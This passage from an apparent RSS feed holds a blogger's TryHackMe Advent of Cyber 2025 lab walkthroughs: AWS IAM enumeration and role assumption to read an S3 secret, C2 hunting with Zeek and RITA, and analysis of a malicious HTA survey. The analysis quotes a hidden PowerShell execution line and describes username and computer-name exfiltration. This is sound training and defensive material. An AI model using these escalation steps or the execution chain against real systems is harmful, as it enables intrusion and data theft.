IAM user in this account. If I break something, this is who shows up in CloudTrail.”</em></p><h3>Step 2 - Quick IAM Refresher (In the Context of This Room)</h3><p>The room gives a nice story wrapper, but underneath it you’re working with classic IAM building blocks:</p><ul><li><strong>Users - </strong>Long-lived identities with access keys or passwords</li><li><strong>Groups -</strong> Collections of users, used for bulk permission assignment</li><li><strong>Roles -</strong> Identities meant to be <em>assumed</em> temporarily (with STS)</li><li><strong>Policies -</strong> JSON documents that describe <strong>who can do what, on which resources, under which conditions</strong></li></ul><p>For example, a policy might say:</p><ul><li><em>Principal</em>: arn:aws:iam::123456789012:user/Alice</li><li><em>Action</em>: s3:GetObject</li><li><em>Resource</em>: arn:aws:s3:::my-private-bucket/*</li></ul><p>In this room, the key is: <em>we’re not editing policies</em>, we’re <strong>enumerating</strong> them to understand what the compromised user can do.</p><h3>Step 3 - Enumerating Sir Carrotbane’s Permissions</h3><p>With valid credentials, the first instinct is: <em>“What can this user see or do?”</em></p><p>We start with: aws iam list-users</p><p>This gives a list of IAM users in the account, including sir.carrotbane. Then we pivot directly into policies attached to that user.</p><h3>Inline policies for sir.carrotbane</h3><p>Inline policies are embedded directly into a user, group, or role. To list them: aws iam list-user-policies - user-name sir.carrotbane</p><p>This reveals an inline policy called:</p><blockquote><strong><em>SirCarrotbanePolicy</em></strong></blockquote><p>To see what it actually allows:</p><p>aws iam get-user-policy \<br> — user-name sir.carrotbane \<br> — policy-name SirCarrotbanePolicy</p><p>The key takeaway from that policy:</p><ul><li>It allows a bunch of <strong>read-only IAM actions</strong>:</li><li>iam:ListUsers, iam:ListGroups, iam:ListRoles,</li><li>iam:ListAttached*Policies, iam:Get*Policy, iam:GetUser, iam:GetRole, etc.</li><li>And one particularly important action:</li><li><strong>sts:AssumeRole</strong></li></ul><p>So as sir.carrotbane, we <strong>can’t</strong> directly create, delete, or modify resources… but we <strong>can</strong>:</p><ul><li>Enumerate IAM entities across the account</li><li>And <strong>assume roles</strong>, if those roles trust us</li></ul><p>That’s a classic pattern: a seemingly harmless “read-only” user that can still be leveraged into something more powerful via roles.</p><h3>Step 4 - Hunting for a Role We Can Abuse</h3><p>Since the policy allows sts:AssumeRole, the next move is obvious: aws iam list-roles</p><p>This returns a role like:</p><p>{<br> “RoleName”: “bucketmaster”,<br> “Arn”: “arn:aws:iam::123456789012:role/bucketmaster”,<br> …<br> “AssumeRolePolicyDocument”: {<br> “Statement”: [<br> {<br> “Effect”: “Allow”,<br> “Action”: “sts:AssumeRole”,<br> “Principal”: {<br> “AWS”: “arn:aws:iam::123456789012:user/sir.carrotbane”<br> }<br> }<br> ]<br> }<br>}</p><p>So:</p><ul><li>There is a role called <strong>bucketmaster</strong></li><li>Its <strong>trust policy</strong> explicitly allows sir.carrotbane to assume i</li></ul><p>Next step: figure out what bucketmaster can do.</p><h3>Checking role policies</h3><p>Inline policies attached to the role: aws iam list-role-policies — role-namebucketmaster</p><p>Shows one policy, BucketMasterPolicy. To inspect it:</p><p>aws iam get-role-policy \<br> — role-name bucketmaster \<br> — policy-name BucketMasterPolicy</p><p>Key permissions in that policy</p><ul><li>s3:ListAllMyBuckets on *</li><li>s3:ListBucket on:</li><li>arn:aws:s3:::easter-secrets-123145</li><li>arn:aws:s3:::bunny-website-645341</li><li>s3:GetObject on:</li><li>arn:aws:s3:::easter-secrets-123145/*</li></ul><p>So bucketmaster is basically an S3-focused role. It can:</p><ul><li>See <strong>all S3 buckets</strong> in the account</li><li>List specific buckets</li><li>Read objects from easter-secrets-123145</li></ul><p>From a security perspective, this is our break-in point</p><h3>Step 5 - Actually Assuming the bucketmaster Role</h3><p>Knowing a role exists and knowing you can assume it are two different things. Here, we already saw in the trust policy that sir.carrotbane is allowed to assume bucketmaster.</p><p>So we call STS:</p><p>aws sts assume-role \<br> — role-arn arn:aws:iam::123456789012:role/bucketmaster \<br> — role-session-name TBFC</p><p>That returns a JSON block with <strong>temporary credentials</strong>:</p><ul><li>AccessKeyId</li><li>SecretAccessKey</li><li>SessionToken</li></ul><p>To actually <em>use</em> those in the current shell:</p><p>export AWS_ACCESS_KEY_ID=”ASIA…”<br>export AWS_SECRET_ACCESS_KEY=”…”<br>export AWS_SESSION_TOKEN=”…”</p><p>Now, if you re-run: aws sts get-caller-identity</p><p>You should see something like:</p><p>{<br> “Arn”: “arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC”,<br> …<br>}</p><p>At this point, you’re no longer operating as the IAM user directly - you’re acting as the <strong>assumed role</strong>. This is exactly how real privilege escalation in AWS often happens: low-priv user → overly-permissive role → sensitive data.</p><h3>Step 6 - Pivoting into S3 and Stealing the “Secret”</h3><p>Now that we’re in the bucketmaster role, we can use its S3 permissions.</p><p>aws s3api list-buckets</p><p>You’ll see a few buckets, including:</p><ul><li>easter-secrets-123145</li><li>bunny-website-645341</li></ul><p>The policy we saw earlier allowed:</p><ul><li>s3:ListBucket on those two</li><li>s3:GetObject on easter-secrets-123145/*</li></ul><p>So we focus on the “secrets” one: aws s3api list-objects - bucket easter-secrets-123145</p><p>This reveals an interesting object:</p><ul><li>cloud_password.txt</li></ul><p>Let’s pull it down:</p><p>aws s3api get-object \<br> — bucket easter-secrets-123145 \<br> — key cloud_password.txt \<br> cloud_password.txt</p><p>And when you open cloud_password.txt, you get:</p><p>THM{more_like_sir_cloudbane}</p><p>That’s the final “secret” for the room - and a pretty accurate description of the kind of cloud hygiene Sir Carrotbane has.</p><h3>Final Thoughts</h3><p>Day 23 was basically a small, contained AWS compromise story:</p><ol><li><strong>Leaked access keys</strong> for an IAM user (sir.carrotbane)</li><li><strong>IAM enumeration</strong> to understand permissions</li><li><strong>Role enumeration</strong> to find bucketmaster</li><li><strong>STS assume-role</strong> to pivot into more powerful permissions</li><li><strong>S3 access</strong> to list buckets and exfiltrate cloud_password.txt</li><li>Final loot: THM{more_like_sir_cloudbane}</li></ol><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25bf396450a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 22: C2 Detection - Command & Carol]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-22-c2-detection-command-carol-893b949e05a8?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/893b949e05a8</guid>
            <category><![CDATA[c2]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 16:40:14 GMT</pubDate>
            <atom:updated>2025-12-22T16:40:14.500Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*in7Gpt1T0Jy_27MCsgHdcQ.png" /></figure><p>In the <strong>Advent of Cyber 2025 - Day 22</strong> room, that’s exactly where TBFC is. Multiple attacks, weird behavior, and then… silence. Too quiet. Instead of relaxing, <strong>Sir Elfo</strong> decides that’s the perfect time to go threat hunting for <strong>Command &amp; Control (C2)</strong> traffic using a tool called <strong>RITA - Real Intelligence Threat Analytics</strong>.</p><p>I really like this day because it’s closer to how real defenders work:</p><ul><li>You get <strong>PCAPs</strong>, not pre-digested logs</li><li>You turn them into <strong>Zeek logs</strong></li><li>You feed them into <strong>RITA</strong></li><li>Then you have to actually <strong>interpret</strong> what you see</li></ul><p>This post is my walkthrough of the day, what I did, and the key answers I got out of it - with enough explanation that someone reading (including a recruiter) can see <em>how</em> I think, not just that I clicked the right buttons.</p><h3>Big Picture: What We’re Trying to Do</h3><p>The lab is basically:</p><ol><li>Take a PCAP (captured network traffic)</li><li>Convert it into <strong>Zeek logs</strong></li><li>Import those logs into <strong>RITA</strong></li><li>Use RITA to spot <strong>C2-like behavior</strong> based on timing, volume, and patterns</li><li>Apply the same process to a challenge PCAP and answer some focused question</li></ol><p>Along the way, you get exposed to</p><ul><li>What <strong>beaconing</strong> looks like</li><li>Why <strong>Zeek</strong> is such a common foundation in network security</li><li>How RITA scores connections using <strong>threat modifiers</strong> like prevalence, rare signatures, long duration, etc.</li></ul><h3>From Raw PCAP to Zeek Logs</h3><p>RITA doesn’t ingest PCAPs directly. It expects <strong>Zeek logs</strong> as input.</p><p>If you’ve never worked with Zeek before:<br> Zeek sits on a tap / SPAN port / imported PCAP and converts raw packets into structured logs like conn.log, http.log, dns.log, ssl.log, etc. That’s the “enriched” view RITA works with.</p><p>On the provided VM, the home directory already has two useful folders:</p><p>ubuntu@tryhackme:~$ ls<br>Desktop Documents Downloads Music Pictures Public Templates Videos pcaps zeek_logs</p><ul><li>pcaps/ → contains example PCAPs</li><li>zeek_logs/ → where we’ll store parsed Zeek output</li></ul><p>To convert a PCAP into Zeek logs, the room uses: zeek readpcap pcaps/AsyncRAT.pcap zeek_logs/asyncrat</p><p>This spins up Zeek in a Docker container and dumps a bunch of log files into zeek_logs/asyncrat. If you check that directory:</p><p>cd ~/zeek_logs/asyncrat &amp;&amp; ls</p><p>You’ll see things like:</p><ul><li>conn.log</li><li>dns.log</li><li>http.log</li><li>ssl.log</li><li>x509.log</li><li>files.log</li><li>weird.log</li></ul><p>You don’t have to parse all of them manually for this room, but it’s useful to know that <strong>Zeek is basically turning messy packets into structured events - </strong>which is what makes RITA possible.</p><h3>Enter RITA: Scoring Network Behavior for C2</h3><p><strong>RITA (Real Intelligence Threat Analytics)</strong> is an open-source framework built to spot C2-like communication patterns from Zeek logs.</p><p>Some of the things it looks at:</p><ul><li><strong>Beaconing</strong> (regular periodic connections)</li><li><strong>DNS tunneling</strong> (lots of weird subdomains, long FQDNs, high query volume)</li><li><strong>Long connections</strong> (sessions that stay open much longer than normal)</li><li><strong>Data exfiltration</strong> (lots of outbound bytes)</li><li><strong>Threat intel hits</strong> (known bad IPs/domains)</li><li>Random-looking domains, self-signed certs, short-lived SSL, etc</li></ul><p>Under the hood, it’s correlating:</p><ul><li>Source &amp; destination IPs / domains</li><li>Ports</li><li>Timestamps</li><li>Connection counts</li><li>Durations</li><li>Data volume</li></ul><p>Once Zeek has done the heavy lifting on parsing, RITA can focus on:<br> “Does this <em>look like</em> a C2 channel?”</p><h3>Importing Zeek Logs into RITA</h3><p>With the AsyncRAT.pcap already converted to logs in ~/zeek_logs/asyncrat, the next step is to import them: rita import - logs ~/zeek_logs/asyncrat/ - database asyncrat</p><p>RITA:</p><ul><li>Parses the Zeek logs</li><li>Normalizes / aggregates connections</li><li>Optionally pulls threat intel feeds (e.g., Feodo Tracker IP blocklists)</li><li>Stores everything in a MongoDB database under the name asyncrat</li></ul><p>Once that’s done, we can view the results: rita view asyncrat</p><p>This opens a full-screen TUI (text UI) with three main parts</p><ol><li><strong>Search bar</strong> (activated with /)</li><li><strong>Results pane</strong> (list of suspicious connections)</li><li><strong>Details pane</strong> (threat modifiers + connection info for the selected row)</li></ol><p>RITA’s result view shows each candidate connection with columns like:</p><ul><li><strong>Severity -</strong> RITA’s scoring based on threat modifiers</li><li><strong>Source / Destination -</strong> internal host and external IP or FQDN</li><li><strong>Beacon -</strong> how “beacon-like” the timing is</li><li><strong>Duration -</strong> long-lived flows are often interesting</li><li><strong>Subdomains -</strong> lots of subdomains hitting the same domain can be tunneling</li><li><strong>TI -</strong> threat intel hits</li></ul><p>When you select a row, the right-hand side (details pane) breaks things into:</p><h3>Threat modifiers</h3><p>These are the levers RITA uses to adjust severity. Some examples:</p><ul><li><strong>prevalence -</strong> what % of internal hosts talk to this external host</li><li><strong>rare signature -</strong> weird/unique patterns (e.g., user agent, TLS fingerprint)</li><li><strong>first seen -</strong> how new this external destination is in the dataset</li><li><strong>large amount of outgoing data -</strong> possible exfil</li><li><strong>missing host header -</strong> odd HTTP behavior</li><li><strong>no direct connections</strong>, MIME/URI mismatches, etc.</li></ul><h3>Connection info</h3><p>This is more straightforward metadata:</p><ul><li>Connection count</li><li>Total bytes sent</li><li>Ports, protocol, and inferred service</li><li>Duration</li></ul><p>If you’ve ever hunted in Zeek + ELK/Splunk manually, RITA is basically doing the aggregation and scoring for you, then letting you pivot on interesting patterns.</p><h3>Example: AsyncRAT PCAP</h3><p>In the example dataset, one of the standout entries is a domain like</p><blockquote><em>sunshine-bizrate-inc-software[.]trycloudflare[.]com</em></blockquote><p>RITA flags it, and if you drop that into VirusTotal, it’s tagged as <strong>malicious</strong>. Another interesting external is:</p><blockquote><em>91.134.150.150</em></blockquote><p>Both are great IoCs to pivot on: long FQDN, suspicious domain patterns, and known bad reputation.</p><p>But the main point of this day isn’t “look something up in VirusTotal” - it’s to get comfortable reading:</p><ul><li><strong>Severity scores</strong></li><li><strong>Beaconing likelihood</strong></li><li><strong>Prevalence</strong> and other modifiers</li></ul><p>…so that when threat intel <em>doesn’t</em> have an answer yet, you can still reason about whether something looks like C2.</p><h3>Challenge Time: Hunting Malhare’s C2 (rita_challenge.pcap)</h3><p>Once the basics are clear, the room hands you a new PCAP: ~/pcaps/rita_challenge.pcap</p><p>Your job is to:</p><ol><li>Convert it to Zeek logs</li><li>Import into RITA</li><li>Use rita view + filters to answer some focused qestions about C2 traffic to <strong>malhare.net</strong> and <strong>rabbithole.malhare.net</strong></li></ol><p>The workflow is the same:</p><p># 1. Convert PCAP to Zeek logs<br>zeek readpcap ~/pcaps/rita_challenge.pcap ~/zeek_logs/rita_challenge</p><p># 2. Import into RITA<br>rita import - logs ~/zeek_logs/rita_challenge - database rita_challenge</p><p># 3. View the results<br>rita view rita_challenge</p><p>From there, I used the built-in search/filter syntax to drill in.</p><h3>1) How many hosts are talking to malhare.net?</h3><p>Inside the RITA view, you can filter using the dst: field to focus on a specific destination:</p><p>/dst:malhare.net</p><p>Looking at the results and the <strong>prevalence</strong> info, you can see how many distinct internal hosts are communicating with that domain.</p><blockquote><strong><em>Answer:</em></strong><em><br> </em><strong><em>There are 6 hosts communicating with </em></strong><strong><em>malhare.net.</em></strong></blockquote><p>This is where <strong>prevalence</strong> really matters: if a random external domain is only being contacted by a tiny slice of your internal IP space, that’s suspicious - especially if those hosts are workstations, not shared infra.</p><blockquote><strong><em>Which Threat Modifier tells us the number of hosts communicating to a certain destination?</em></strong><em><br> </em><strong><em>Answer:</em></strong><em> </em><em>prevalence</em></blockquote><h3>2) “How chatty is rabbithole.malhare.net?”</h3><p>Now we pivot to a specific subdomain: /dst:rabbithole.malhare.net</p><p>Scrolling through those entries, you’ll see multiple internal hosts reaching out, with different connection counts and beacon scores. One of the questions is:</p><blockquote><strong><em>What is the highest number of connections to </em></strong><strong><em>rabbithole.malhare.net?</em></strong></blockquote><p>By checking the <strong>connection count</strong> in the details pane for the noisiest entry talking to that domain, you’ll find:</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>40 connections</em></blockquote><p>That’s a classic C2 red flag: frequent, repetitive, fairly uniform connections to the same destination.</p><h3>3) Building a focused search filter</h3><p>The room also asks you to think like someone actually triaging results:</p><blockquote><em>“If I only want to see entries that:<br> - talk to </em><em>rabbithole.malhare.net,<br> – have </em><strong><em>beacon score ≥ 70%</em></strong><em>,<br> – and I want to </em><strong><em>sort by duration</em></strong><em> (longest first),<br> what search filter would I use?”</em></blockquote><p>RITA’s search syntax supports field filters and sorting, so the answer is: dst:rabbithole.malhare.net beacon:&gt;=70 sort:duration-desc</p><blockquote><strong><em>Answer:</em></strong><em><br> </em><em>dst:rabbithole.malhare.net beacon:&gt;=70 sort:duration-desc</em></blockquote><p>That’s exactly the kind of query you’d use in a real hunt:<br> “Show me the most beacon-like connections to this suspicious domain, and surface the longest ones at the top.”</p><h3>4) Port used by a specific host</h3><p>Last one zooms in further</p><blockquote><strong><em>Which port did the host </em></strong><strong><em>10.0.0.13 use to connect to </em></strong><strong><em>rabbithole.malhare.net?</em></strong></blockquote><p>You can either:</p><ul><li>Filter by destination first (dst:rabbithole.malhare.net) and then eyeball the source field,</li><li>Or combine filters to home in faster (e.g., dst:rabbithole.malhare.net src:10.0.0.13 if supported).</li></ul><p>Once you select the relevant connection, the <strong>Connection Info</strong> pane shows:</p><ul><li>Port: 80</li><li>Protocol / service: HTTP</li></ul><blockquote><strong><em>Answer:</em></strong><em><br> Port </em><em>80</em></blockquote><p>Plain HTTP C2 is still depressingly common. From a defender standpoint, this is where you’d want to combine RITA output with proxy logs, TLS inspection (if used), and host telemetry.</p><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=893b949e05a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 21: Malware Analysis - Malhare.exe]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-21-malware-analysis-malhare-exe-784219937e4e?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/784219937e4e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Sun, 21 Dec 2025 19:39:17 GMT</pubDate>
            <atom:updated>2025-12-21T19:39:17.023Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsFGQHMzMOnENMA6smV1fA.png" /></figure><p>Day 21 steps away from web apps and race conditions and drops us into something every defender eventually has to deal with:</p><blockquote><em>“Here’s a suspicious file. Don’t run it. Figure out what it does.”</em></blockquote><p>In this case, the file is an <strong>HTA -</strong> an HTML Application - sent to TBFC elves as a <strong>“Developer Survey”</strong> about salaries. A few elves opened it, some weird things started happening, and it landed on the SOC’s desk.</p><p>My job:<br> <strong>Open the HTA safely, reverse what it’s doing, and figure out how King Malhare used it to trick people.</strong></p><h3>HTA Files: Not Just Random Junk</h3><p>HTA stands for <strong>HTML Application</strong>. It’s basically:</p><ul><li>HTML + CSS + JavaScript/VBScript</li><li>Run locally via <strong>mshta.exe</strong></li><li>With the ability to call COM objects and system tools</li></ul><p>Legit uses include:</p><ul><li>Internal IT tools</li><li>Quick GUIs for scripts</li><li>Setup/automation helpers</li></ul><p>Attackers love HTAs for the same reason admins do:<br> you get <strong>full script execution</strong> with a nice UI wrapper and it’s still “just an HTML file” to most people.</p><h3>Step 1 - Open survey.hta (without executing anything)</h3><p>On the AttackBox, the file was located at: /root/Rooms/AoC2025/Day21/survey.hta</p><p>mportant part: <strong>never double-click it</strong>.</p><p>Instead, open it in a text editor: pluma /root/Rooms/AoC2025/Day21/survey.hta</p><p>Now we can read the code like a normal file instead of letting it run.</p><h3>Step 2 - Look at the metadata / social engineering</h3><p>First stop: the &lt;head&gt; section and the HTA declaration.</p><p>The application title is:</p><blockquote><strong><em>Best Festival Company Developer Survey</em></strong></blockquote><p>Looks harmless, sounds corporate. This is exactly the kind of phrasing that would make an internal dev go,<br> “Ah, HR or Engineering is doing a quick comp survey… fine.”</p><p>This is already the first social-engineering angle:</p><ul><li>Developer-targeted</li><li>Salary survey (i.e., emotionally charged topic)</li><li>Wrapped in a “professional” HTA window title</li></ul><h3>Step 3 - Find the script logic (the VBScript section)</h3><p>Scrolling down, the interesting part is the VBScript block:</p><p>&lt;script type=”text/vbscript”&gt;<br> ‘ …<br>&lt;/script&gt;</p><p>Inside that, there are several functions. The key ones:</p><ul><li>window_onLoad</li><li>getQuestions</li><li>provideFeedback</li><li>decodeBase64</li><li>RSBinaryToStrin</li></ul><h3>window_onLoad</h3><p>This is the <strong>auto-start</strong> hook. HTAs can hook window events, and window_onLoad runs automatically when the application loads.</p><p>In this file, window_onLoad immediately calls: getQuestions()</p><p>So the moment the elf opens the “survey,” the HTA quietly starts doing work in the background.</p><h3>getQuestions: fake “downloader” for survey questions</h3><p>getQuestions is pretending to pull down survey content, but functionally it’s acting as a <strong>downloader</strong>.</p><p>This function:</p><ul><li>Creates COM objects (like InternetExplorer.Application)</li><li>Reaches out to an external URL</li><li>Decodes the response</li><li>Passes it forward to be “used”</li></ul><p>So if you’re mapping roles:</p><blockquote><strong><em>Q: Which VBScript function is acting as if it’s downloading the survey questions?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>getQuestions</em></strong></blockquote><h3>Step 4 - Investigating the network calls</h3><p>Inside getQuestions, there’s a hard-coded URL where the HTA fetches its “survey questions”.</p><p>The domain:</p><blockquote><strong><em>survey.bestfestiivalcompany.com</em></strong></blockquote><p>Now, at a glance that looks like <em>Best Festival Company</em>… but on closer inspection, there’s a sneaky detail:</p><ul><li>The legit name would be something like bestfestivalcompany.com</li><li>Here we see: bestfestiivalcompany.com → <strong>double </strong><strong>i</strong></li></ul><p>That extra <strong>i</strong> is the typosquatting tell.</p><blockquote><strong><em>Q: What URL domain are the questions being downloaded from?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>survey.bestfestiivalcompany.com</em></strong><em><br> </em><strong><em>Q: What character in the domain gives away the typosquatting?</em></strong><em><br> </em><strong><em>A: The extra </em></strong><strong><em>i</em></strong></blockquote><p>Classic trick: keep it visually similar enough that most people (and even some logs) won’t notice at a glance.</p><h3>Step 5 - The “legit” survey: content as cover</h3><p>Malicious HTAs often include <em>real</em> content to make them look benign. This one includes an actual set of questions.</p><p>Reviewing the decoded survey data, it contains <strong>4 questions</strong> in total.</p><blockquote><strong><em>Q: How many questions does the survey have?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>4</em></strong></blockquote><p>And of course, it sweetens the deal with a fake incentive:</p><blockquote><em>“Chance to win a trip to the </em><strong><em>South Pole</em></strong><em>”</em></blockquote><blockquote><strong><em>Q: The survey promises a trip to where?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>South Pole</em></strong></blockquote><p>So from a user’s perspective:</p><ul><li>The title looks fine</li><li>The content looks like a legit internal survey</li><li>There’s a reward</li><li>No obvious red flags</li></ul><p>Meanwhile, the code is doing something entirely different behind the scenes.</p><h3>Step 6 - Exfiltration: what data is being sent out?</h3><p>The function provideFeedback(feedbackString) is where things get more oviously malicious.</p><p>It:</p><ul><li>Gathers local host information via WScript.Network</li><li>Creates HTTP requests to a remote endpoint</li><li>Uses that same “feedback” content in a more interesting way later</li></ul><p>The HTA specifically pulls two values:</p><ul><li>ComputerName</li><li>UserName</li></ul><p>These are grabbed through WScript networking objects and then exfiltrated.</p><blockquote><strong><em>Q: What two pieces of information are being exfiltrated?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>ComputerName,UserName</em></strong></blockquote><p>The exfil endpoint path:</p><blockquote><strong><em>/details</em></strong></blockquote><p>And the HTTP method:</p><blockquote><strong><em>GET</em></strong></blockquote><p>So the full behavior is basically:</p><ul><li>Call a fake survey domain (survey.bestfestiivalcompany.com)</li><li>Pull down content</li><li>Show legitimate-looking survey questions</li><li>In the background, exfiltrate <strong>ComputerName</strong> and <strong>UserName</strong> via a <strong>GET request to </strong><strong>/details</strong></li></ul><blockquote><strong><em>Q: What endpoint is the enumerated data being exfiltrated to?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>/details</em></strong><em><br> </em><strong><em>Q: What HTTP method is being used?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>GET</em></strong></blockquote><h3>Step 7 - The real punchline: executing the downloaded payload</h3><p>The sneakiest part is how the downloaded data is actually <strong>executed</strong>.</p><p>Inside provideFeedback, the “feedback” string (which came from the remote source) is fed straight into a PowerShell command.</p><p>The critical line: runObject.Run “powershell.exe -nop -w hidden -c “ &amp; feedbackString, 0, False</p><p>Breakdown:</p><ul><li>runObject is a WScript.Shell object</li><li>Run launches a process</li><li>powershell.exe -nop -w hidden -c ...</li><li>-nop → no profile</li><li>-w hidden → no visible window</li><li>-c → run the command directly</li><li>feedbackString is whatever the malware author downloaded from the C2</li></ul><p>So we’re not just showing survey content. We’re taking remote data and <strong>executing it as PowerShell</strong>, invisibly.</p><blockquote><strong><em>Q: What line of code executes the downloaded contents?</em></strong><em><br> </em><strong><em>A:</em></strong><em><br> </em><em>runObject.Run &quot;powershell.exe -nop -w hidden -c &quot; &amp; feedbackString, 0, False</em></blockquote><p>This is the classic HTA → PowerShell chain you see in a ton of real-world campaigns.</p><h3>Step 8 - Second-stage payload: Base64 + ROT13</h3><p>The challenge notes that the malicious site is now offline, but one of the elves had grabbed a copy when it was still live. That snapshot is our <strong>second-stage payload</strong>.</p><p>When you open that script, you’ll notice the main body is encoded. The first layer is:</p><blockquote><strong><em>Base64</em></strong></blockquote><blockquote><strong><em>Q: What popular encoding scheme was used to obfuscate the download?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>base64</em></strong></blockquote><p>After decoding the Base64 in CyberChef (or similar), it still doesn’t look right. There’s another transformation applied.</p><p>The second layer turns out to be:</p><blockquote><strong><em>ROT13</em></strong></blockquote><blockquote><strong><em>Q: What common encryption/encoding scheme was used in the script after Base64?</em></strong><em><br> </em><strong><em>A: </em></strong><strong><em>rot13</em></strong></blockquote><p>Once you apply <strong>From Base64 → ROT13</strong> in CyberChef, the script becomes readable and gives you the final flag.</p><blockquote><strong><em>Final flag:</em></strong><em><br> </em><em>THM{Malware.Analysed}</em></blockquote><h3>Quick recap of key answers (for your own notes)</h3><ul><li><strong>HTA title:</strong> Best Festival Company Developer Survey</li><li><strong>Downloader-like function:</strong> getQuestions</li><li><strong>Malicious survey domain:</strong> survey.bestfestiivalcompany.com</li><li><strong>Typosquatting giveaway:</strong> extra i in festiival</li><li><strong>Number of survey questions:</strong> 4</li><li><strong>Prize location:</strong> South Pole</li><li><strong>Exfil data:</strong> ComputerName,UserName</li><li><strong>Exfil endpoint:</strong> /details</li><li><strong>Exfil HTTP method:</strong> GET</li><li><strong>Execution line:</strong><br> runObject.Run &quot;powershell.exe -nop -w hidden -c &quot; &amp; feedbackString, 0, False</li><li><strong>Second-stage encoding layers:</strong> Base64 → ROT13</li><li><strong>Final flag:</strong> THM{Malware.Analysed}</li></ul><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=784219937e4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 20: Race Conditions - Toy to The World]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-20-race-conditions-toy-to-the-world-68593df0d518?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/68593df0d518</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Sat, 20 Dec 2025 17:13:30 GMT</pubDate>
            <atom:updated>2025-12-21T19:38:40.223Z</atom:updated>
